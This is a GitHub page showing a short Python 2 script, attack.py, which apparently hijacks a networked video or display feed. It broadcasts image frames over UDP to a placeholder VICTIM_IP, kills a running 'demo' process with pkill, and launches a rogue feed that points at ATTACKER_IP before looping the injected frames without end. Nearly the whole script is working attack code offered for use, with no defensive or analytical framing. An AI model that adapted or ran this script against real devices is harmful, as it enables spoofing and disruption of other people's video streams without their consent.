-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathattack.py
executable file
·52 lines (41 loc) · 1.09 KB
/
attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
VICTIM_IP = '255.255.255.255'
VICTIM_PORT = 4000
ATTACKER_IP = '255.255.255.255'
ATTACKER_PORT = 5000
from socket import *
from time import sleep
from glob import glob
from os import system
from sys import argv, exit
name = 'skull'
if len(argv) > 1:
name = argv[1]
# Load images
images = []
for f in sorted(glob('images/%s/*.jpg' % name)):
with open(f, mode='rb') as f:
images.append(f.read())
if len(images) == 0:
print "No images found in images/%s" % name
exit(0)
# Create broadcast socket
s = socket(AF_INET, SOCK_DGRAM)
s.bind(('', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
# Send a few flashes
for i in range(0, 10):
for j in range(0, i):
s.sendto(images[0], (VICTIM_IP, VICTIM_PORT))
sleep((10 - i) / 30.0)
# Kill the demo
system('pkill demo')
# Start rogue feed
# Sleep to avoid contention over USB
system('(sleep 3; ./demo %s %d) &' % (ATTACKER_IP, ATTACKER_PORT))
# Send animation on original feed
i = 0
while True:
s.sendto(images[i], (VICTIM_IP, VICTIM_PORT))
i = (i + 1) % len(images)
sleep(0.2)